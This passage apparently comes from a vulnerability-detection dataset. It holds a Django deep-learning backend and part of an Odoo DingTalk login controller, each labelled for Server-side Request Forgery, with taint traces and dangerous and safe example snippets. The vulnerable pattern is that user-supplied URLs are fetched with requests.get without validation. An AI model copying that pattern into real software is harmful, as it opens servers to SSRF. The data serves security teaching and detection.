pathlib import Path\n\nimport numpy as np\nimport requests\nimport yaml\nfrom celery.result import AsyncResult\nfrom django.db.models import Q\nfrom drf_yasg import openapi\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework import mixins, status, views, viewsets\nfrom rest_framework.response import Response\n\nfrom backend import celery_app, settings\nfrom backend_app import mixins as BAMixins, models, serializers, swagger\nfrom backend_app import utils\nfrom deeplearning.tasks import classification, segmentation\nfrom deeplearning.utils import nn_settings\n\n\nclass AllowedPropViewSet(BAMixins.ParamListModelMixin,\n mixins.CreateModelMixin,\n viewsets.GenericViewSet):\n queryset = models.AllowedProperty.objects.all()\n serializer_class = serializers.AllowedPropertySerializer\n params = ['model_id', 'property_id']\n\n def get_queryset(self):\n model_id = self.request.query_params.get('model_id')\n property_id = self.request.query_params.get('property_id')\n self.queryset = models.AllowedProperty.objects.filter(model_id=model_id, property_id=property_id)\n return self.queryset\n\n @swagger_auto_schema(\n manual_parameters=[openapi.Parameter('model_id', openapi.IN_QUERY, \"Integer representing a model\",\n required=True, type=openapi.TYPE_INTEGER),\n openapi.Parameter('property_id', openapi.IN_QUERY, \"Integer representing a property\",\n required=True, type=openapi.TYPE_INTEGER)]\n )\n def list(self, request, *args, **kwargs):\n \"\"\"Return the allowed and default values of a property\n\n This method returns the values that a property can assume depending on the model employed. \\\n It provides a default value and a comma separated list of values to choose from.\n When this api returns an empty list, the property allowed values and default should be retrieved \\\n using the `/properties/{id}` API.\n \"\"\"\n return super().list(request, *args, **kwargs)\n\n def create(self, request, *args, **kwargs):\n \"\"\"Create a new AllowedProperty\n\n This method create a new AllowedProperty\n \"\"\"\n return super().create(request, *args, **kwargs)\n\n\nclass DatasetViewSet(mixins.ListModelMixin,\n mixins.RetrieveModelMixin,\n mixins.CreateModelMixin,\n viewsets.GenericViewSet):\n queryset = models.Dataset.objects.filter(is_single_image=False)\n serializer_class = serializers.DatasetSerializer\n\n def get_queryset(self):\n task_id = self.request.query_params.get('task_id')\n if task_id:\n self.queryset = models.Dataset.objects.filter(task_id=task_id, is_single_image=False)\n # self.queryset = models.Dataset.objects.filter(task_id=task_id)\n return self.queryset\n\n @swagger_auto_schema(\n manual_parameters=[openapi.Parameter('task_id', openapi.IN_QUERY, type=openapi.TYPE_INTEGER, required=False)]\n )\n def list(self, request, *args, **kwargs):\n \"\"\"Get the list datasets to use for training or finetuning\n\n This method returns all the datasets in the backend.\n \"\"\"\n return super().list(request, *args, **kwargs)\n\n def retrieve(self, request, *args, **kwargs):\n \"\"\"Retrieve a single dataset\n\n This method returns the `{id}` dataset.\n \"\"\"\n return super().retrieve(request, *args, **kwargs)\n\n @swagger_auto_schema(responses=swagger.DatasetViewSet_create_response)\n def create(self, request, *args, **kwargs):\n \"\"\"Upload a new dataset downloading it from a URL\n\n This API uploads a dataset YAML file and stores it in the backend.\n The `path` field must contain the URL of a dataset, e.g. \\\n [`dropbox.com/s/ul1yc8owj0hxpu6/isic_segmentation.yml`](https://www.dropbox.com/s/ul1yc8owj0hxpu6/isic_segmentation.yml?dl=1).\n \"\"\"\n serializer = self.get_serializer(data=request.data)\n if not serializer.is_valid():\n return Response({'error': 'Validation error. Request data is malformed.'},\n status=status.HTTP_400_BAD_REQUEST)\n\n # Download the yml file in url\n url = serializer.validated_data['path']\n dataset_name = serializer.validated_data['name']\n dataset_out_path = f'{settings.DATASETS_DIR}/{dataset_name}.yml'\n if Path(f'{settings.DATASETS_DIR}/{dataset_name}.yml').exists():\n return Response({'error': f'The dataset `{dataset_name}` already exists'},\n status=status.HTTP_400_BAD_REQUEST)\n try:\n r = requests.get(url, allow_redirects=True)\n if r.status_code == 200:\n yaml_content = yaml.load(r.content, Loader=yaml.FullLoader)\n with open(f'{settings.DATASETS_DIR}/{dataset_name}.yml', 'w') as f:\n yaml.dump(yaml_content, f, Dumper=utils.MyDumper, sort_keys=False)\n\n # Update the path\n serializer.save(path=dataset_out_path)\n headers = self.get_success_headers(serializer.data)\n return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n except requests.exceptions.RequestException:\n # URL malformed\n return Response({'error': 'URL malformed'}, status=status.HTTP_400_BAD_REQUEST)\n return Response({'error': 'URL malformed'}, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass InferenceViewSet(views.APIView):\n @swagger_auto_schema(request_body=serializers.InferenceSerializer,\n responses=swagger.inferences_post_responses)\n def post(self, request):\n \"\"\"Start an inference process using a pre-trained model on a dataset\n\n This is the main entry point to start the inference. \\\n It is mandatory to specify a pre-trained model and a dataset.\n \"\"\"\n serializer = serializers.InferenceSerializer(data=request.data)\n\n if serializer.is_valid():\n return utils.do_inference(serializer)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass InferenceSingleViewSet(views.APIView):\n @swagger_auto_schema(request_body=serializers.InferenceSingleSerializer,\n responses=swagger.inferences_post_responses)\n def post(self, request):\n \"\"\"Starts the inference providing an image URL\n\n This API allows the inference of a single image.\n It is mandatory to specify the same fields of `/inference` API, but for dataset_id which is replaced by \\\n the url of the image to process.\n \"\"\"\n serializer = serializers.InferenceSingleSerializer(data=request.data)\n\n if serializer.is_valid():\n image_url = serializer.validated_data['image_url']\n project_id = serializer.validated_data['project_id']\n task_id = models.Project.objects.get(id=project_id).task_id\n\n # Create a dataset with the single image to process\n dummy_dataset = f'name: \"{image_url}\"\\n' \\\n f'description: \"{image_url} auto-generated dataset\"\\n' \\\n f'images: [\"{image_url}\"]\\n' \\\n f'split:\\n' \\\n f' test: [0]'\n # Save dataset and get id\n d = models.Dataset(name=f'single-image-dataset', task_id=task_id, path='', is_single_image=True)\n d.save()\n try:\n yaml_content = yaml.load(dummy_dataset, Loader=yaml.FullLoader)\n except yaml.YAMLError as e:\n d.delete()\n print(e)\n return Response({'error': 'Error in YAML parsing'}, status=status.HTTP_400_BAD_REQUEST)\n\n with open(f'{settings.DATASETS_DIR}/single_image_dataset_{d.id}.yml', 'w') as f:\n yaml.dump(yaml_content, f, Dumper=utils.MyDumper, sort_keys=False)\n\n # Update the path\n d.path = f'{settings.DATASETS_DIR}/single_image_dataset_{d.id}.yml'\n d.save()\n\n serializer.validated_data['dataset_id'] = d\n return utils.do_inference(serializer)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ModelViewSet(mixins.ListModelMixin,\n viewsets.GenericViewSet):\n queryset = models.Model.objects.all()\n serializer_class = serializers.ModelSerializer\n\n def get_queryset(self):\n task_id = self.request.query_params.get('task_id')\n if task_id:\n self.queryset = models.Model.objects.filter(task_id=task_id)\n return self.queryset\n\n @swagger_auto_schema(\n manual_parameters=[openapi.Parameter('task_id', openapi.IN_QUERY,\n \"Integer for filtering the models based on task.\",\n type=openapi.TYPE_INTEGER, required=False)]\n )\n def list(self, request):\n \"\"\"Returns the available Neural Network models\n\n This API allows the client to know which Neural Network models are available in the system in order to allow \\\n their selection.\n\n The optional `task_id` parameter is used to filter them based on the task the models are used for.\n \"\"\"\n return super().list(request)\n\n\nclass ModelWeightsViewSet(BAMixins.ParamListModelMixin,\n mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin,\n viewsets.GenericViewSet):\n queryset = models.ModelWeights.objects.all()\n serializer_class = serializers.ModelWeightsSerializer\n params = ['model_id']\n\n def get_queryset(self):\n if self.action == 'list':\n model_id = self.request.query_params.get('model_id')\n self.queryset = models.ModelWeights.objects.filter(model_id=model_id)\n return self.queryset\n else:\n return super(ModelWeightsViewSet, self).get_queryset()\n\n @swagger_auto_schema(\n manual_parameters=[openapi.Parameter('model_id', openapi.IN_QUERY,\n \"Return the modelweights obtained on `model_id` model.\",\n type=openapi.TYPE_INTEGER, required=False)]\n )\n def list(self, request):\n \"\"\"Returns the available Neural Network models\n\n When 'use pre-trained' is selected, it is possible to query the backend passing a `model_id` to obtain a list\n of dataset on which it was pretrained.\n \"\"\"\n return super().list(request)\n\n def retrieve(self, request, *args, **kwargs):\n \"\"\"Retrieve a single modelweight\n\n This API returns the modelweight with the requested`{id}`.\n \"\"\"\n return super().retrieve(request, *args, **kwargs)\n\n def get_obj(self, id):\n try:\n return models.ModelWeights.objects.get(id=id)\n except models.ModelWeights.DoesNotExist:\n return None\n\n def put(self, request, *args, **kwargs):\n \"\"\"Update an existing weight\n\n This method updates an existing model weight (e.g. change the name).\n \"\"\"\n weight = self.get_obj(request.data['id'])\n if not weight:\n error = {\"Error\": f\"Weight {request.data['id']} does not exist\"}\n return Response(data=error, status=status.HTTP_400_BAD_REQUEST)\n serializer = self.serializer_class(weight, data=request.data)\n if serializer.is_valid():\n serializer.save()\n # Returns all the elements with model_id in request\n queryset = models.ModelWeights.objects.filter(model_id=weight.model_id)\n serializer = self.get_serializer(queryset, many=True)\n # serializer = self.serializer_class(queryset, many=True)\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def update(self, request, *args, **kwargs):\n \"\"\"Update an existing weight\n\n This method updates an existing model weight (e.g. change the name).\n \"\"\"\n return super().update(request, *args, **kwargs)\n\n @swagger_auto_schema(auto_schema=None)\n def partial_update(self, request, *args, **kwargs):\n return super().partial_update(request, *args, **kwargs)\n\n\nclass OutputViewSet(views.APIView):\n @staticmethod\n def trunc(values, decs=0):\n return np.trunc(values * 10 ** decs) / (10 ** decs)\n\n @swagger_auto_schema(\n manual_parameters=[openapi.Parameter('process_id', openapi.IN_QUERY,\n \"Pass a required UUID representing a finished process.\",\n type=openapi.TYPE_STRING, format=openapi.FORMAT_UUID, required=False)],\n responses=swagger.OutputViewSet_get_responses\n )\n def get(self, request, *args, **kwargs):\n \"\"\"Retrieve results about an inference process\n\n This API provides information about an `inference` process.In classification task it returns the list \\\n of images and an array composed of the classes prediction scores.\n In segmentation task it returns the URLs of the segmented images.\n \"\"\"\n if not self.request.query_params.get('process_id'):\n error = {'Error': f'Missing required parameter `process_id`'}\n return Response(data=error, status=status.HTTP_400_BAD_REQUEST)\n process_id = self.request.query_params.get('process_id')\n infer = models.Inference.objects.filter(celery_id=process_id)\n if not infer:\n # already deleted weight/training or inference\n return Response({\"result\": \"Process stopped before finishing or non existing.\"},\n status=status.HTTP_404_NOT_FOUND)\n\n if AsyncResult(process_id).status == 'PENDING':\n return Response({\"result\": \"Process in execution. Try later for output results.\"},\n status=status.HTTP_200_OK)\n\n infer = infer.first()\n if not os.path.exists(opjoin(settings.OUTPUTS_DIR, infer.outputfile)):\n return Response({\"result\": \"Output file not found\"}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n outputs = open(opjoin(settings.OUTPUTS_DIR, infer.outputfile), 'r')\n # Differentiate classification and segmentation\n if infer.modelweights_id.model_id.task_id.name.lower() == 'classification':\n lines = outputs.read().splitlines()\n lines = [line.split(';') for line in lines]\n # preds = self.trunc(preds, decs=8)\n else:\n # Segmentation\n # output file contains path of files\n uri = request.build_absolute_uri(settings.MEDIA_URL)\n lines = outputs.read().splitlines()\n lines = [l.replace(settings.OUTPUTS_DIR, uri) for l in lines]\n response = {'outputs': lines}\n return Response(response, status=status.HTTP_200_OK)\n\n\nclass ProjectViewSet(mixins.ListModelMixin,\n mixins.RetrieveModelMixin,\n mixins.CreateModelMixin,\n mixins.UpdateModelMixin,\n viewsets.GenericViewSet):\n queryset = models.Project.objects.all()\n serializer_class = serializers.ProjectSerializer\n\n def get_obj(self, id):\n try:\n return models.Project.objects.get(id=id)\n except models.Project.DoesNotExist:\n return None\n\n def list(self, request, *args, **kwargs):\n \"\"\"Loads all the projects\n\n This method lists all the available projects.\n \"\"\"\n return super().list(request, *args, **kwargs)\n\n def retrieve(self, request, *args, **kwargs):\n \"\"\"Retrieve a single project\n\n Returns a project by `{id}`.\n \"\"\"\n return super().retrieve(request, *args, **kwargs)\n\n @swagger_auto_schema(responses=swagger.ProjectViewSet_create_response)\n def create(self, request, *args, **kwargs):\n \"\"\"Create a new project\n\n Create a new project.\n \"\"\"\n return super().create(request, *args, **kwargs)\n\n def put(self, request, *args, **kwargs):\n project = self.get_obj(request.data['id'])\n if not project:\n error = {\"Error\": f\"Project {request.data['id']} does not exist\"}\n return Response(data=error, status=status.HTTP_400_BAD_REQUEST)\n serializer = serializers.ProjectSerializer(project, data=request.data)\n if serializer.is_valid():\n serializer.save()\n # Returns all the elements\n return self.list(request)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def update(self, request, *args, **kwargs):\n \"\"\"Update an existing project\n\n Update a project instance by providing its `{id}`.\n \"\"\"\n return super().update(request, *args, **kwargs)\n\n @swagger_auto_schema(auto_schema=None)\n def partial_update(self, request, *args, **kwargs):\n return super().partial_update(request, *args, **kwargs)\n\n\nclass PropertyViewSet(mixins.ListModelMixin,\n mixins.RetrieveModelMixin,\n viewsets.GenericViewSet):\n queryset = models.Property.objects.all()\n serializer_class = serializers.PropertyListSerializer\n\n def get_queryset(self):\n name = self.request.query_params.get('name')\n # Substitute underscore with space if present\n if name:\n name = [name, name.replace('_', ' ')]\n self.queryset = models.Property.objects.filter(Q(name__icontains=name[0]) | Q(name__icontains=name[1]))\n return self.queryset\n\n def list(self, request, *args, **kwargs):\n \"\"\"Return the Properties supported by backend\n\n This API allows the client to know which properties are \"globally\" supported by the backend.\n A model can have different default value and allowed values if the `/allowedProperties` return an entry.\n \"\"\"\n return super().list(request, *args, **kwargs)\n\n def retrieve(self, request, *args, **kwargs):\n \"\"\"Retrieve a single property\n\n Return a property by `{id}`.\n \"\"\"\n return super().retrieve(request, *args, **kwargs)\n\n\nclass StatusView(views.APIView):\n @swagger_auto_schema(manual_parameters=[openapi.Parameter('process_id', openapi.IN_QUERY,\n \"UUID representing a process\",\n required=True, type=openapi.TYPE_STRING,\n format=openapi.FORMAT_UUID)],\n responses=swagger.StatusView_get_response\n )\n def get(self, request):\n \"\"\"Return the status of an training or inference process\n\n This API allows the frontend to query the status of a training or inference, identified by a `process_id` \\\n (which is returned by `/train` or `/inference` APIs).\n \"\"\"\n if not self.request.query_params.get('process_id'):\n error = {'Error': f'Missing required parameter `process_id`'}\n return Response(data=error, status=status.HTTP_400_BAD_REQUEST)\n process_id = self.request.query_params.get('process_id')\n\n if models.ModelWeights.objects.filter(celery_id=process_id).exists():\n process_type = 'training'\n process = models.ModelWeights.objects.filter(celery_id=process_id).first()\n elif models.Inference.objects.filter(celery_id=process_id).exists():\n process_type = 'inference'\n process = models.Inference.objects.filter(celery_id=process_id).first()\n else:\n res = {\n \"result\": \"error\",\n \"error\": \"Process not found.\"\n }\n return Response(data=res, status=status.HTTP_404_NOT_FOUND)\n\n try:\n with open(process.logfile, 'r') as f:\n lines = f.read().splitlines()\n last_line = lines[-1]\n except:\n res = {\n \"result\": \"error\",\n \"error\": \"Log file not found\"\n }\n return Response(data=res, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n if last_line == '':\n process_status = 'finished'\n last_line = lines[-2]\n else:\n process_status = 'running'\n\n res = {\n 'result': 'ok',\n 'status': {\n 'process_type': process_type,\n 'process_status': process_status,\n 'process_data': last_line,\n }\n }\n return Response(data=res, status=status.HTTP_200_OK)\n\n\nclass StopProcessViewSet(views.APIView):\n @swagger_auto_schema(request_body=serializers.StopProcessSerializer,\n responses=swagger.StopProcessViewSet_post_response\n )\n def post(self, request):\n \"\"\"Kill a training or inference process\n\n Stop a training process specifying a `process_id` (which is returned by `/train` or `/inference` APIs).\n \"\"\"\n serializer = serializers.StopProcessSerializer(data=request.data)\n if serializer.is_valid():\n process_id = serializer.data['process_id']\n weights = models.ModelWeights.objects.filter(celery_id=process_id)\n infer = models.Inference.objects.filter(celery_id=process_id)\n response = {\"result\": \"Process stopped\"}\n if not weights.exists() and not infer.exists():\n # already deleted weight/training or inference\n return Response({\"result\": \"Process already stopped or non existing\"}, status=status.HTTP_404_NOT_FOUND)\n elif weights:\n weights = weights.first()\n celery_id = weights.celery_id\n celery_app.control.revoke(celery_id, terminate=True, signal='SIGUSR1')\n response = {\"result\": \"Training stopped\"}\n # delete the ModelWeights entry from db\n # also delete ModelWeights fk in project\n weights.delete()\n elif infer:\n infer = infer.first()\n celery_id = infer.celery_id\n celery_app.control.revoke(celery_id, terminate=True, signal='SIGUSR1')\n response = {\"result\": \"Inference stopped\"}\n # delete the ModelWeights entry from db\n infer.delete()\n\n # todo delete log file? delete weight file?\n return Response(response, status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass TaskViewSet(mixins.ListModelMixin,\n viewsets.GenericViewSet):\n queryset = models.Task.objects.all()\n serializer_class = serializers.TaskSerializer\n\n def list(self, request, *args, **kwargs):\n \"\"\"Return the tasks supported by backend\n\n This API allows the client to know which task this platform supports. e.g. classification or segmentation tasks.\n \"\"\"\n return super().list(request, *args, **kwargs)\n\n\nclass TrainViewSet(views.APIView):\n @swagger_auto_schema(request_body=serializers.TrainSerializer,\n responses=swagger.TrainViewSet_post_response\n )\n def post(self, request):\n \"\"\"Starts the training of a (possibly pre-trained) model on a dataset\n\n This is the main entry point to start the training of a model on a dataset. \\\n It is mandatory to specify a model to be trained and a dataset.\n When providing a `weights_id`, the training starts from the pre-trained model.\n \"\"\"\n serializer = serializers.TrainSerializer(data=request.data)\n\n if serializer.is_valid():\n # Create a new modelweights and start training\n weight = models.ModelWeights()\n weight.dataset_id_id = serializer.data['dataset_id']\n weight.model_id_id = serializer.data['model_id']\n\n if not models.Dataset.objects.filter(id=weight.dataset_id_id, is_single_image=False).exists():\n error = {\"Error\": f\"Dataset with id `{weight.dataset_id_id}` does not exist\"}\n return Response(error, status=status.HTTP_400_BAD_REQUEST)\n\n if not models.Model.objects.filter(id=weight.model_id_id).exists():\n error = {\"Error\": f\"Model with id `{weight.model_id_id}` does not exist\"}\n return Response(error, status=status.HTTP_400_BAD_REQUEST)\n\n if not models.Project.objects.filter(id=serializer.data['project_id']).exists():\n error = {\"Error\": f\"Project with id `{serializer.data['project_id']}` does not exist\"}\n return Response(error, status=status.HTTP_400_BAD_REQUEST)\n\n # Check if dataset and model are both for same task\n if weight.model_id.task_id != weight.dataset_id.task_id:\n error = {\"Error\": f\"Model and dataset must belong to the same task\"}\n return Response(error, status=status.HTTP_400_BAD_REQUEST)\n\n project = models.Project.objects.get(id=serializer.data['project_id'])\n task_name = project.task_id.name.lower()\n weight.task_id = project.task_id\n weight.name = f'{weight.model_id.name}_{weight.dataset_id.name}_' \\\n f'{datetime.datetime.now().strftime(\"%Y-%m-%d_%H:%M:%S\")}'\n if serializer.data['weights_id']:\n weight.pretrained_on_id = serializer.data['weights_id']\n\n if not models.ModelWeights.objects.filter(id=weight.pretrained_on_id).exists():\n error = {\"Error\": f\"Model weight with id `{weight.pretrained_on_id}` does not exist\"}\n return Response(error, status=status.HTTP_400_BAD_REQUEST)\n\n weight.save() # Generate an id for the weight\n ckpts_dir = opjoin(settings.TRAINING_DIR, 'ckpts')\n weight.location = Path(opjoin(ckpts_dir, f'{weight.id}.bin')).absolute()\n # Create a logfile\n weight.logfile = models.generate_file_path(f'{uuid.uuid4().hex}.log', settings.TRAINING_DIR, 'logs')\n weight.save()\n\n hyperparams = {}\n\n # Check if current model has some custom properties and load them\n props_allowed = models.AllowedProperty.objects.filter(model_id=weight.model_id_id)\n if props_allowed:\n for p in props_allowed:\n hyperparams[p.property_id.name] = p.default_value\n\n # Load default values for those properties not in props_allowed\n props_general = models.Property.objects.all()\n for p in props_general:\n if hyperparams.get(p.name) is None:\n hyperparams[p.name] = p.default\n\n # Overwrite hyperparams with ones provided by the user\n props = serializer.data['properties']\n for p in props:\n ts = models.TrainingSetting()\n # Get the property by name\n name = p['name']\n name = [name, name.replace('_', ' ')]\n queryset = models.Property.objects.filter(Q(name__icontains=name[0]) | Q(name__icontains=name[1]))\n if len(queryset) == 0:\n # Property does not exist, delete the weight and its associated properties (cascade)\n weight.delete()\n error = {\"Error\": f\"Property `{p['name']}` does not exist\"}\n return Response(error, status=status.HTTP_400_BAD_REQUEST)\n property = queryset[0]\n ts.property_id = property\n ts.modelweights_id = weight\n ts.value = str(p['value'])\n ts.save()\n hyperparams[property.name] = ts.value\n\n config = nn_settings(modelweight=weight, hyperparams=hyperparams)\n if not config:\n return Response({\"Error\": \"Properties error\"}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n # Differentiate the task and start training\n if task_name == 'classification':\n celery_id = classification.classificate.delay(config)\n # celery_id = classification.classificate(config)\n elif task_name == 'segmentation':\n celery_id = segmentation.segment.delay(config)\n # celery_id = segmentation.segment(config)\n else:\n return Response({'error': 'error on task'}, status=status.HTTP_400_BAD_REQUEST)\n\n weight = models.ModelWeights.objects.get(id=weight.id)\n weight.celery_id = celery_id.id\n weight.save()\n\n # todo what if project already has a modelweight?\n # Training started, store the training in project\n project.modelweights_id = weight\n project.save()\n\n response = {\n \"result\": \"ok\",\n \"process_id\": celery_id.id,\n \"weight_id\": weight.id\n }\n return Response(response, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass TrainingSettingViewSet(BAMixins.ParamListModelMixin,\n viewsets.GenericViewSet):\n queryset = models.TrainingSetting.objects.all()\n serializer_class = serializers.TrainingSettingSerializer\n params = ['modelweights_id', 'property_id']\n\n def get_queryset(self):\n modelweights_id = self.request.query_params.get('modelweights_id')\n property_id = self.request.query_params.get('property_id')\n self.queryset = models.TrainingSetting.objects.filter(modelweights_id=modelweights_id, property_id=property_id)\n return self.queryset\n\n @swagger_auto_schema(\n manual_parameters=[openapi.Parameter('modelweights_id', openapi.IN_QUERY, \"Integer representing a ModelWeights\",\n required=True, type=openapi.TYPE_INTEGER),\n openapi.Parameter('property_id', openapi.IN_QUERY, \"Integer representing a Property\",\n required=True, type=openapi.TYPE_INTEGER)]\n )\n def list(self, request, *args, **kwargs):\n \"\"\"Returns settings used for a training\n\n This API returns the value used for a property in a specific training (a modelweights).\n It requires a `modelweights_id`, indicating a training process, and a `property_id`.\n \"\"\"\n return super().list(request, *args, **kwargs)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 100, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 100, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.data"}}, {"lineNo": 100, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_serializer"}}, {"lineNo": 100, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "serializerDatasetViewSet.create.serializer.validated_data"}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "serializerDatasetViewSet.create.serializer.validated_data[\"path\"]"}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 113, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "358e228fc37099a2a1b60a955865e210d05a39812342e6d831c1655e3243efb1", "license": {"spdx": ["Apache-2.0"], "repo": "redblow/odooDingDing", "path": "dindin_login/controllers/main.py", "repo_head_hexsha": "d5bea9d69889615819d82d94924a5d54b498db03", "stack_hexsha": "6ae4cb85c9c4b1ff73d14ab16480fa47871da779", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 199, "entireCode": "# -*- coding: utf-8 -*-\nimport base64\nimport functools\nimport hashlib\nimport hmac\nimport json\nimport logging\nimport time\nfrom urllib.parse import quote\n\nimport requests\nimport werkzeug.urls\nimport werkzeug.utils\nfrom werkzeug.exceptions import BadRequest\n\nfrom odoo import SUPERUSER_ID, api, http\nfrom odoo import registry as registry_get\nfrom odoo.addons.auth_oauth.controllers.main import \\\n OAuthController as Controller\nfrom odoo.addons.auth_oauth.controllers.main import OAuthLogin as Home\nfrom odoo.addons.web.controllers.main import (login_and_redirect,\n set_cookie_and_redirect)\nfrom odoo.exceptions import AccessDenied, UserError\nfrom odoo.http import request\nfrom odoo.tools import pycompat\n\n_logger = logging.getLogger(__name__)\n\n\ndef fragment_to_query_string(func):\n @functools.wraps(func)\n def wrapper(self, *a, **kw):\n kw.pop('debug', False)\n if not kw:\n return \"\"\"\"\"\"\n return func(self, *a, **kw)\n return wrapper\n\n\nclass OAuthLogin(Home):\n def list_providers(self):\n \"\"\"\n oauth2登录入口\n :param kw:\n :return:\n \"\"\"\n result = super(OAuthLogin, self).list_providers()\n for provider in result:\n if 'dingtalk' in provider['auth_endpoint']:\n return_url = request.httprequest.url_root + 'dingding/auto/login'\n state = self.get_state(provider)\n params = dict(\n response_type='code',\n appid=provider['client_id'], # appid 是钉钉移动应用的appId\n redirect_uri=return_url,\n scope=provider['scope'],\n state=json.dumps(state),\n )\n provider['auth_link'] = \"%s?%s\" % (provider['auth_endpoint'], werkzeug.urls.url_encode(params))\n\n return result\n\n\nclass OAuthController(Controller):\n @http.route('/dingding/auto/login/in', type='http', auth='none')\n def dingding_auto_login(self, **kw):\n \"\"\"\n 免登入口\n :param kw:\n :return:\n \"\"\"\n logging.info(\">>>用户正在使用免登...\")\n data = {'corp_id': request.env['ir.config_parameter'].sudo().get_param('ali_dindin.din_corpId')}\n return request.render('dindin_login.dingding_auto_login', data)\n\n @http.route('/dingding/auto/login', type='http', auth='none')\n @fragment_to_query_string\n def auto_signin(self, **kw):\n \"\"\"\n 通过获得的【免登授权码或者临时授权码】获取用户信息\n :param kw:\n :return:\n \"\"\"\n if kw.get('authcode'): # 免登\n auth_code = kw.get('authcode')\n _logger.info(\"获得的auth_code: %s\", auth_code)\n userid = self.get_userid_by_auth_code(auth_code)\n state = dict(\n d=request.session.db,\n p='dingtalk',\n )\n\n elif kw.get('code'): # 扫码或密码登录\n tmp_auth_code = kw.get('code', \"\")\n _logger.info(\"获得的tmp_auth_code: %s\", tmp_auth_code)\n unionid = self.get_unionid_by_tmp_auth_code(tmp_auth_code)\n userid = self.get_userid_by_unionid(unionid)\n state = json.loads(kw['state'])\n\n mobile = self.get_user_mobile_by_userid(userid)\n dbname = state['d']\n if not http.db_filter([dbname]):\n return BadRequest()\n provider = 'dingtalk'\n # provider = state['p']\n context = state.get('c', {})\n registry = registry_get(dbname)\n with registry.cursor() as cr:\n try:\n env = api.Environment(cr, SUPERUSER_ID, context)\n credentials = env['res.users'].sudo().auth_oauth_dingtalk(provider, mobile)\n cr.commit()\n action = state.get('a')\n menu = state.get('m')\n redirect = werkzeug.url_unquote_plus(state['r']) if state.get('r') else False\n url = '/web'\n if redirect:\n url = redirect\n elif action:\n url = '/web#action=%s' % action\n elif menu:\n url = '/web#menu_id=%s' % menu\n resp = login_and_redirect(*credentials, redirect_url=url)\n # Since /web is hardcoded, verify user has right to land on it\n if werkzeug.urls.url_parse(resp.location).path == '/web' and not request.env.user.has_group('base.group_user'):\n resp.location = '/'\n return resp\n except AttributeError:\n # auth_signup is not installed\n _logger.error(\"auth_signup not installed on database %s: oauth sign up cancelled.\" % (dbname,))\n url = \"/web/login?oauth_error=1\"\n except AccessDenied:\n # oauth credentials not valid, user could be on a temporary session\n _logger.info(\n 'OAuth2: access denied, redirect to main page in case a valid session exists, without setting cookies')\n url = \"/web/login?oauth_error=3\"\n redirect = werkzeug.utils.redirect(url, 303)\n redirect.autocorrect_location_header = False\n return redirect\n except Exception as e:\n # signup error\n _logger.exception(\"OAuth2: %s\" % str(e))\n url = \"/web/login?oauth_error=2\"\n\n return set_cookie_and_redirect(url)\n\n def get_unionid_by_tmp_auth_code(self, tmp_auth_code):\n \"\"\"\n 根据返回的临时授权码获取用户信息\n :param tmp_auth_code:用户授权的临时授权码code,只能使用一次\n :return:\n \"\"\"\n url = request.env['ali.dindin.system.conf'].sudo().search([('key', '=', 'getuserinfo_bycode')]).value\n login_appid = request.env['ir.config_parameter'].sudo().get_param('ali_dindin.din_login_appid')\n key = request.env['ir.config_parameter'].sudo().get_param('ali_dindin.din_login_appsecret')\n msg = pycompat.to_text(int(time.time() * 1000))\n # ------------------------\n # 签名\n # ------------------------\n signature = hmac.new(key.encode('utf-8'), msg.encode('utf-8'),\n hashlib.sha256).digest()\n signature = quote(base64.b64encode(signature), 